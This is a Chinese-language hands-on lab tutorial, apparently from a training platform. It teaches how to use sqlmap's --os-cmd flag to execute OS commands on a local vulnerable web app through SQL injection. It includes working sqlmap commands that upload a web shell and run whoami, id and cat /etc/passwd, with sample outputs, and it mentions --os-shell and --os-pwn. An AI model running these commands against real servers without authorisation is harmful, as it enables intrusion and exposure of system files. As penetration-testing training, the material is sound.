引言
在本实验中,你将探索 sqlmap 在目标服务器上执行操作系统命令的强大功能。此功能在渗透测试场景中尤其有用,当你发现 SQL 注入漏洞并希望进一步危害底层系统时。你将学习如何使用 --os-cmd 标志,分析输出,并理解此技术的局限性。
在本实验中,你将探索 sqlmap 在目标服务器上执行操作系统命令的强大功能。此功能在渗透测试场景中尤其有用,当你发现 SQL 注入漏洞并希望进一步危害底层系统时。你将学习如何使用 --os-cmd 标志,分析输出,并理解此技术的局限性。
在此步骤中,你将确保 sqlmap 已安装,并且你对如何识别 SQL 注入漏洞有基本了解。通过 sqlmap 执行操作系统命令通常依赖于向目标系统写入文件的能力(例如,Web shell)或利用允许命令执行的特定数据库函数。
首先,请验证你的系统上是否已安装 sqlmap。打开终端并输入:
sqlmap --version
你应该会看到类似以下的输出,表明已安装的 sqlmap 版本:
sqlmap version 1.x.x.x ## 将 x.x.x.x 替换为实际版本
接下来,我们将使用 sqlmap 检测本地模拟 Web 应用程序上的 SQL 注入漏洞。此应用程序被设置为易受 SQL 注入攻击。
sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --batch --risk=3 --level=3
--batch 标志告诉 sqlmap 以非交互模式运行,接受默认选项。--risk=3 和 --level=3 增加了 sqlmap 执行的测试深度,这通常是发现更复杂漏洞所必需的,包括那些可能允许执行操作系统命令的漏洞。
运行命令后,sqlmap 将执行各种测试。查找指示已检测到 SQL 注入漏洞的输出。你可能会看到类似以下的行:
---
[INFO] testing connection to the target URL
[INFO] checking if the target is stable
[INFO] target URL is stable
[INFO] testing if GET parameter 'id' is vulnerable to SQL injection
...
[INFO] GET parameter 'id' is vulnerable.
...
---
这证实了 sqlmap 已成功识别出 SQL 注入漏洞,这是尝试执行操作系统命令的先决条件。
--os-cmd 标志执行单个命令在此步骤中,你将学习如何在 sqlmap 中使用 --os-cmd 标志在目标服务器上执行单个操作系统命令。当 sqlmap 已识别出执行命令的方法时,通常是通过上传 Web shell 或利用数据库特定函数,就会使用此标志。
使用 --os-cmd 的基本语法是:
sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="<command>" --batch
将 <command> 替换为你想要执行的实际操作系统命令。sqlmap 将尝试执行此命令并返回其输出。
让我们尝试执行一个简单的命令,如 ls,以列出 Web 应用程序运行所在目录的文件。
sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="ls" --batch
sqlmap 将接着执行以下操作:
ls 命令。你将看到 sqlmap 显示的各种消息,指示其进度,例如:
...
[INFO] trying to upload a web shell for OS command execution
[INFO] web shell uploaded to '/tmp/web_app/tmpbxxxx.php'
[INFO] executing OS command 'ls'
...
sqlmap 在成功执行后将显示 ls 命令的输出。这证明了在服务器上运行任意命令的能力。
whoami 或 id 等简单命令在此步骤中,你将执行 whoami 和 id 等常见的 Linux 命令,以收集有关 Web 服务器进程运行的用户和组上下文的信息。这些信息对于理解你在受损系统上拥有的权限至关重要。
首先,让我们执行 whoami 命令:
sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="whoami" --batch
在 sqlmap 完成后,它将显示 whoami 命令的输出。这通常是 Web 服务器(例如,www-data、apache 或我们实验环境中的 labex)运行的用户名。
...
[INFO] retrieved OS command output:
labex
...
接下来,执行 id 命令。此命令提供更详细的信息,包括用户 ID (UID)、组 ID (GID) 以及用户所属的所有组。
sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="id" --batch
id 命令的输出看起来会像这样:
...
[INFO] retrieved OS command output:
uid=1000(labex) gid=1000(labex) groups=1000(labex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
...
分析此输出有助于你了解可用的权限。例如,如果用户属于 sudo 组,则可能可以提升权限。
sqlmap 返回的命令输出在此步骤中,你将重点了解 sqlmap 如何呈现执行的操作系统命令的输出以及需要关注的内容。sqlmap 从其上传的 Web shell(或其他执行方法)检索命令输出,并在其控制台中显示。
当你使用 --os-cmd 执行命令时,sqlmap 通常会显示类似以下的行:
[INFO] retrieved OS command output:
接着是命令的实际输出。例如,如果你运行 ls -l /tmp,输出可能看起来像这样:
[INFO] retrieved OS command output:
total 8
-rw-r--r-- 1 labex labex 1234 Jan 1 10:00 somefile.txt
drwxr-xr-x 2 labex labex 4096 Jan 1 10:05 somedir
仔细阅读此输出非常重要。它提供了对目标系统的直接见解。例如:
ls, dir): 显示目录结构、文件名和权限。uname -a, cat /etc/os-release): 提供有关操作系统、内核版本和发行版的详细信息。ip a, ifconfig): 显示网络接口、IP 地址和网络配置。ps aux): 列出正在运行的进程,这可能表明存在其他服务或应用程序。考虑运行 cat /etc/passwd 来查看是否可以检索敏感的系统文件。
sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="cat /etc/passwd" --batch
你将在 sqlmap 的输出中看到 /etc/passwd 文件的内容。此文件包含用户帐户信息,是侦察的常见目标。
...
[INFO] retrieved OS command output:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
labex:x:1000:1000:LabEx User,,,:/home/labex:/bin/zsh
...
分析此输出有助于你识别潜在用户、他们的主目录和默认 shell,这对于进一步的利用可能很有用。
在此步骤中,你将理解通过 sqlmap 的 --os-cmd 标志执行操作系统命令的固有局限性,特别是其非交互式特性。
--os-cmd 标志执行单个命令并返回其输出。它不提供交互式 shell(如典型的 SSH 或终端会话)。这意味着:
--os-cmd 执行都是一个新、独立的请求。你无法运行一个命令,然后使用其输出来告知同一“会话”中的下一个命令。nano、vi、top、passwd)。|) 或分号 (;) 链接命令是可能的,但管理复杂的工作流或条件逻辑会变得很麻烦。例如,ls -l /tmp | grep "file" 可以工作,但需要用户交互的多步脚本则不行。为了克服这些局限性,渗透测试人员通常会在 sqlmap 中使用 --os-shell 或 --os-pwn(如果底层数据库和 Web 服务器配置支持)。这些标志会尝试建立一个半交互式或完全交互式的 shell,从而允许更复杂的操作。然而,--os-cmd 对于快速侦察或执行单个、原子命令非常有用。
例如,尝试执行一个通常需要交互的命令,如 nano。
sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="nano" --batch
你很可能会看到一个错误或没有有意义的输出,因为 nano 需要一个终端和用户输入,而 sqlmap 在这种非交互模式下无法提供。
...
[INFO] retrieved OS command output:
Error opening terminal: unknown.
...
这表明,虽然 --os-cmd 对于单个命令非常强大,但它不能替代完整的交互式 shell。
在此次实验中,你已成功学会如何使用 sqlmap 的 --os-cmd 标志在目标服务器上执行操作系统命令。你首先确认了先决条件,然后练习执行了 ls、whoami、id 和 cat /etc/passwd 等简单命令。你还了解了如何分析 sqlmap 返回的命令输出,并且重要的是,认识到了非交互式命令执行的局限性。这项技能是 Web 应用程序渗透测试中后期利用阶段的基础。